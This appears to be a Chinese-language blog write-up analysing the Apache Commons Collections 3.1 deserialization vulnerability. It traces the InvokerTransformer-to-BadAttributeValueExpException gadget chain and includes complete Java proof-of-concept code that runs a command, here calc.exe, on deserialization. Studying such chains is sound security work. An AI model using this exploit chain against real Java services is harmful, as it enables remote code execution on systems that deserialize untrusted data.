Apache Common Collections 反序列化分析学习

前言

状态有点不好 感觉对什么都提不起来兴趣…希望能快点好吧..

漏洞组件

Apache Commons Collections 是一个扩展了Java标准库里的Collection结构的第三方基础库

漏洞版本<=3.2.1

起一个maven项目,pom.xml内容如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
<project xmlns="http://maven.apache.org/POM/4.0.0" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xsi:schemaLocation="http://maven.apache.org/POM/4.0.0 http://maven.apache.org/maven-v4_0_0.xsd">
<modelVersion>4.0.0</modelVersion>
<groupId>2</groupId>
<artifactId>2</artifactId>
<packaging>war</packaging>
<version>0.0.1-SNAPSHOT</version>
<name>Common-Collections Maven Webapp</name>
<url>http://maven.apache.org</url>
<dependencies>
<dependency>
<groupId>commons-collections</groupId>
<artifactId>commons-collections</artifactId>
<version>3.1</version>
</dependency>
</dependencies>
<build>
<finalName>Common-Collections</finalName>
</build>
</project>

漏洞分析

漏洞基础利用

主要漏洞利用点在InvokerTransformer.class的transform方法

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
    public Object transform(Object input) {
if (input == null) {
return null;
} else {
try {
Class cls = input.getClass();
Method method = cls.getMethod(this.iMethodName, this.iParamTypes);
return method.invoke(input, this.iArgs);
} catch (NoSuchMethodException var5) {
throw new FunctorException("InvokerTransformer: The method '" + this.iMethodName + "' on '" + input.getClass() + "' does not exist");
} catch (IllegalAccessException var6) {
throw new FunctorException("InvokerTransformer: The method '" + this.iMethodName + "' on '" + input.getClass() + "' cannot be accessed");
} catch (InvocationTargetException var7) {
throw new FunctorException("InvokerTransformer: The method '" + this.iMethodName + "' on '" + input.getClass() + "' threw an exception", var7);
}
}
}
}

可以看出传参一个Object,然后通过反射进行任意的方法调用,定位下iMethodName和iParamTypes变量

1
2
3
4
5
public InvokerTransformer(String methodName, Class[] paramTypes, Object[] args) {
this.iMethodName = methodName;
this.iParamTypes = paramTypes;
this.iArgs = args;
}

可以看到在初始化类的时候进行了变量的定义,所以这些都是我们可控的地方,也就是可以通过InvokerTransformer类进行任意类任意方法的调用。

但是仅仅这样无法满足java的命令执行,对于PHP而言,只需要简单的system(‘xx’)这样的函数形式即可执行命令,但对于Java来讲命令执行通常为:Runtime.getRuntime().exec(cmd),所以我们必须要进行多次调用,把第一次调用后的结果传给后面一直执行,所以这里是需要多次调用transform方法才可以达到命令执行的目的,所以要找一个可以多次调用transform的函数

ChainedTransformer.class

1
2
3
4
5
6
7
8
9
10
11
public ChainedTransformer(Transformer[] transformers) {
this.iTransformers = transformers;
}

public Object transform(Object object) {
for(int i = 0; i < this.iTransformers.length; ++i) {
object = this.iTransformers[i].transform(object);
}

return object;
}

构造函数会把传进来的对象数组赋值给iTransformers变量,可以看到这里可以通过循环把每一次通过transform得到object作为参数再传给下一次使用,这样就符合了我们之前需要达到的要求.

看一下简单利用的poc

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
package demo;

import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;

public class Demo1{
public static void main(String[] args) {
Transformer[] transformers = new Transformer[] {
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod",
new Class[] {String.class, Class[].class },
new Object[] {"getRuntime", new Class[0] }),
new InvokerTransformer("invoke",
new Class[] {Object.class, Object[].class },
new Object[] {null, new Object[0] }),
new InvokerTransformer("exec",
new Class[] {String.class },
new Object[] {"calc.exe"})
};

Transformer transformerChain = new ChainedTransformer(transformers);
transformerChain.transform(null);
}


}

这里主要解释下对于getMethod的反射为什么是两个class (String.class和class[].class),翻下getMethod函数的源码

1
2
3
4
5
6
7
8
9
10
@CallerSensitive
public Method getMethod(String name, Class<?>... parameterTypes)
throws NoSuchMethodException, SecurityException {
checkMemberAccess(Member.PUBLIC, Reflection.getCallerClass(), true);
Method method = getMethod0(name, parameterTypes, true);
if (method == null) {
throw new NoSuchMethodException(getName() + "." + name + argumentTypesToString(parameterTypes));
}
return method;
}

可以看到如果需要反射getMethod方法,需要两个参数第一个自然就是String.class,第二个参数是可变数量的泛型class,所以第二个需要传参Class[].class ,同理,invoke也是如此,就不再赘述了。

进阶反序列化

上面介绍的只是一些主要的触发点,如果要达到反序列化直接触发的话,还是差一些的,我们需要的是直接通过readObject触发,上面的话还需要再调用一次transform方法,所以需要找到一些调用链来使得tranform自动调用

LazyMap.class

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
    protected LazyMap(Map map, Transformer factory) {
super(map);
if (factory == null) {
throw new IllegalArgumentException("Factory must not be null");
} else {
this.factory = factory;
}
}


public Object get(Object key) {
if (!super.map.containsKey(key)) {
Object value = this.factory.transform(key);
super.map.put(key, value);
return value;
} else {
return super.map.get(key);
}
}
}

对于LazyMap的构造函数,如果第二个参数是Transformer类,则会将这个参数赋值给factory变量给下面的get方法进行使用.

在LazyMap的get函数中,如果map中不包含传进来的键值的话,则会调用this.factory的transform方法,所以这里可以将factory设置为ChainedTransformer类,这样我们就可以控制factory了,接下来找下get方法的调用

TiedMapEntry.class

1
2
3
public Object getValue() {
return this.map.get(this.key);
}

很明显可以看出 this.map和我们的lazymap很合适,接着找下getValue的调用

1
2
3
public String toString() {
return this.getKey() + "=" + this.getValue();
}

java的toString其实是和php一样的,当对象被当作字符串调用时,触发toString

其实这里如果把反序列化后的对象直接打印出来,确实可以触发,但是还是不算直接触发,这里可以找一个重写过的readObject方法完成这个操作:

BadAttributeValueExpException.class

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
   private void readObject(ObjectInputStream ois) throws IOException, ClassNotFoundException {
ObjectInputStream.GetField gf = ois.readFields();
Object valObj = gf.get("val", null);

if (valObj == null) {
val = null;
} else if (valObj instanceof String) {
val= valObj;
} else if (System.getSecurityManager() == null
|| valObj instanceof Long
|| valObj instanceof Integer
|| valObj instanceof Float
|| valObj instanceof Double
|| valObj instanceof Byte
|| valObj instanceof Short
|| valObj instanceof Boolean) {
val = valObj.toString();
} else { // the serialized object is from a version without JDK-8019292 fix
val = System.identityHashCode(valObj) + "@" + valObj.getClass().getName();
}
}
}

取出val变量,进行一系列字符串操作,如果我们把这个val变量设置为TiedMapEntry类的话,在程序运行到if(valObj == null)的时候就会触发toString,完成一系列调用,不过这个val变量是私有的,需要通过反射来进行设置变量,最终完整poc如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
package demo;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.map.HashedMap;
import org.apache.commons.collections.map.TransformedMap;
import java.io.*;
import java.util.HashMap;
import org.apache.commons.collections.map.LazyMap;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import javax.management.BadAttributeValueExpException;
import java.lang.reflect.Field;
import java.lang.reflect.Constructor;
import java.util.Map;
import java.lang.reflect.InvocationTargetException;
import java.lang.reflect.Method;

public class test implements Serializable{

public static void main(String[] args) throws Exception
{
Transformer[] transformers = {
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[]{ String.class, Class[].class}, new Object[]{"getRuntime", new Class[0] }),
new InvokerTransformer("invoke", new Class[]{ Object.class, Object[].class}, new Object[]{ null ,new Object[0]} ),
new InvokerTransformer("exec",
new Class[] {String.class },
new Object[] {"calc.exe"})
};
Transformer transformerChain = new ChainedTransformer(transformers);

Map innerMap = new HashMap();
Map lazyMap = LazyMap.decorate(innerMap, transformerChain);
TiedMapEntry entry = new TiedMapEntry(lazyMap, "lih3iu");

BadAttributeValueExpException ins = new BadAttributeValueExpException(null);

Field valfield = ins.getClass().getDeclaredField("val");
valfield.setAccessible(true);
valfield.set(ins, entry);

ByteArrayOutputStream exp = new ByteArrayOutputStream();
ObjectOutputStream oos = new ObjectOutputStream(exp);
oos.writeObject(ins);
oos.flush();
oos.close();

ByteArrayInputStream out = new ByteArrayInputStream(exp.toByteArray());
ObjectInputStream ois = new ObjectInputStream(out);
Object obj = (Object) ois.readObject();
ois.close();
}
}

调用链

  • 通过取出val中的TiedMapEntry
  • 触发toString函数
  • 触发getValue函数
  • 触发this.map.get(this.key) Map类为lazymap,key随意
  • 触发this.factory.transform(key),factory为ChainedTransformer类
  • 最终执行命令

参考链接

https://www.smi1e.top/java%e5%8f%8d%e5%ba%8f%e5%88%97%e5%8c%96%e5%ad%a6%e4%b9%a0%e4%b9%8bapache-commons-collections/

https://xz.aliyun.com/t/4711

https://xz.aliyun.com/t/4558#toc-0